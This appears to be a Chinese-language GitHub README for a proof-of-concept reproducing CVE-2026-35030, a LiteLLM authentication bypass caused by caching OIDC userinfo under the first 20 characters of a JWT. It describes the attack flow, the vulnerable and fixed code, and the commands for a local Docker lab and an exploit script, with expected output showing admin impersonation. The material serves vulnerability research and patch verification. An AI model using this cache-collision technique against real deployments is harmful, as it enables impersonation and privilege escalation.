learner202649/CVE-2026-35030-PoC
GitHub: learner202649/CVE-2026-35030-PoC
这是一个用于复现LiteLLM中CVE-2026-35030认证绕过漏洞的概念验证代码。
Stars: 0 | Forks: 0
# CVE-2026-35030 — 通过 OIDC 用户信息缓存键碰撞绕过 LiteLLM 认证
| 字段 | 值 |
|-------|-------|
| **CVE** | **CVE-2026-35030** |
| **CVSS v4.0** | **9.4 (严重)** — `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N` |
| **CVSS v3.1** | **9.1 (严重)** — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` |
| **CWE** | CWE-287 (不当认证) / CWE-222 (凭证保护不足) |
| **受影响** | LiteLLM **< 1.83.0** (当 `enable_jwt_auth: true` 时) |
| **修复版本** | **v1.83.0+** (缓存键已更改为 `sha256(token)`) |
| **发布日期** | 2026-04-06 |
| **发现者** | Veria Labs |
| **相关链接** | [GHSA-jjhc-v7c2-5hh6](https://github.com/BerriAI/litellm/security/advisories/GHSA-jjhc-v7c2-5hh6) • [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-35030) • [GitLab 安全公告](https://advisories.gitlab.com/pypi/litellm/CVE-2026-35030/) |
## 描述
LiteLLM 是一个用于调用 LLM API 的 AI 网关/代理服务器。当启用 **JWT 认证** (`enable_jwt_auth: true`) 时,LiteLLM 会针对 OIDC 提供程序验证令牌并缓存 userinfo 响应。
**漏洞原理:** 缓存键仅使用 JWT 的**前 20 个字符**:
```
# 漏洞代码 (pre-1.83.0)
cache_key = token[:20] # Only first 20 characters!
```
一个 JWT 由三个以点号分隔的 base64url 编码段组成:
```
..
```
**头部**(例如 `{"alg":"RS256","typ":"JWT"}`)对于使用相同签名算法的所有令牌,其编码是相同的。这意味着两个不同的 JWT——颁发给完全不同的用户——将拥有**相同的前 20 个字符**。
### 攻击流程
```
1. Admin authenticates → LiteLLM fetches userinfo → cached with key = token[:20]
↑
2. Attacker crafts JWT with same algorithm (RS256) ────────────────┘
→ token[:20] is IDENTICAL → cache HIT → inherits admin identity
```
### 影响
- **认证绕过**:攻击者可继承任何已缓存用户的身份
- **权限提升**:如果管理员的 userinfo 已被缓存,攻击者将获得管理员权限
- **机密性 + 完整性破坏**:攻击者可以以受害者身份访问/修改资源
- 无需认证(攻击者可以是未认证的)
## 概念验证
### 快速启动(Docker)
```
# 1. 构建并启动漏洞 LiteLLM + 模拟 OIDC 提供程序
docker compose up -d --build
# 2. 安装 Python 依赖
pip install -r requirements.txt
# 3. 创建测试用户(JWT 认证所需 — 需要主密钥)
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "attacker", "role": "proxy_admin"}'
# 4. 演示缓存键冲突
python3 exploit/exploit.py --mode demo
# 5. 运行完整漏洞利用(通过缓存碰撞绕过认证)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000
# 6. (可选)验证该问题已在 v1.83.0+ 版本中修复
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed
```
### 预期输出
**演示模式** — 展示缓存键碰撞:
```
[+] Admin JWT (subject=admin):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[+] Attacker JWT (subject=attacker):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[🔥] COLLISION: Both tokens share the same first 20 characters!
Reason: Both tokens use RS256 signing → identical JWT header base64 → identical first 20 characters
→ cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'
```
**利用模式** — 演示实际的认证绕过:
```
[VULNERABLE] Exploit Attempt — target: http://localhost:4000
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "admin", ...} ← INHERITED ADMIN!
[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!
Attacker's token[:20] matched admin's cache key.
Response user_id='admin' (expected 'admin' for escalation)
```
**修复版本** — sha256 缓存键防止了碰撞:
```
[FIXED] Exploit Attempt — target: http://localhost:4001
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "attacker", ...} ← OWN IDENTITY preserved
[+] Attacker identified as user_id='attacker'.
Fixed version: cache collision prevented.
```
## 技术细节
### 根本原因
在 `litellm/proxy/auth/handle_jwt.py` 中,OIDC userinfo 缓存以 `token[:20]` 作为键:
```
# 漏洞 (pre-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}" # Only first 20 chars!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
return cached_userinfo # Cache hit → skip userinfo fetch!
# 已修复 (v1.83.0+) — 同一文件,第 625 行
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"
```
### 为什么 `token[:20]` 是不够的
| 令牌组件 | 是否包含用户特定数据? | 对相同算法是否固定? |
|-----------------|------------------------------|---------------------------|
| 头部(前 ~30 个字符) | ❌ 否 | ✅ 是 — 相同的 base64 编码 |
| 负载(用户特定) | ✅ 是 | ❌ 否 — 每个用户唯一 |
| 签名 | ✅ 是 | ❌ 否 — 每个密钥唯一 |
由于**头部是前 20 个字符内唯一的内容**,并且对于使用相同签名算法的所有令牌,头部是相同的,因此来自同一颁发者的所有 RS256 JWT 都拥有**完全相同的前 20 个字符**。
### 攻击场景
| 场景 | 描述 |
|----------|-------------|
| **权限提升** | 低权限用户通过缓存碰撞成为管理员 |
| **横向仿冒** | 仿冒任何 userinfo 已被缓存的用户 |
| **认证绕过链** | 结合 CVE-2026-35029 实现远程代码执行 |
## 环境
```
CVE-2026-35030/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM + mock OIDC
├── litellm_config.yaml # LiteLLM config with JWT auth enabled
├── requirements.txt # Python dependencies (PoC)
├── litellm-vuln/
│ └── Dockerfile # Vulnerable LiteLLM v1.82.5 with enterprise patch
├── litellm-fixed/
│ └── Dockerfile # Fixed LiteLLM v1.83.0+ with sha256 cache key
├── oidc-provider/
│ ├── Dockerfile # Mock OIDC provider image
│ ├── requirements.txt
│ └── server.py # OIDC mock (FastAPI)
├── exploit/
│ ├── exploit.py # Main PoC exploit script
│ └── token_forge.py # JWT collision utilities
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/
└── README.md # Proof screenshots placeholder
```
## 缓解措施
1. **升级**到 LiteLLM **v1.83.0+**(缓存键使用 `sha256(token)`)
2. 如果不需要,**禁用 JWT/OIDC 认证**:`enable_jwt_auth: false`
3. **限制 LiteLLM 端点的网络暴露**
4. **设置较短的 OIDC 缓存 TTL** 以缩小攻击窗口
## 参考资料
- [GitHub 安全公告 GHSA-jjhc-v7c2-5hh6](https://github.com/BerriAI/litellm/security/advisories/GHSA-jjhc-v7c2-5hh6)
- [GitLab 安全公告](https://advisories.gitlab.com/pypi/litellm/CVE-2026-35030/)
- [NVD 详情](https://nvd.nist.gov/vuln/detail/CVE-2026-35030)
- [LiteLLM 安全加固指南(2026年4月)](https://docs.litellm.ai/blog/security-hardening-april-2026)
- [v1.83.0-stable 版本发布](https://github.com/BerriAI/litellm/releases/tag/v1.83.0-stable)
标签:AI安全, Chat Copilot, CVE-2026-35030, JWT, LiteLLM, OIDC, 代理服务器安全, 凭证保护不足, 安全漏洞, 情报收集, 漏洞复现, 漏洞研究, 缓存漏洞, 缓存键碰撞, 网络安全, 认证安全, 认证绕过, 请求拦截, 逆向工具, 隐私保护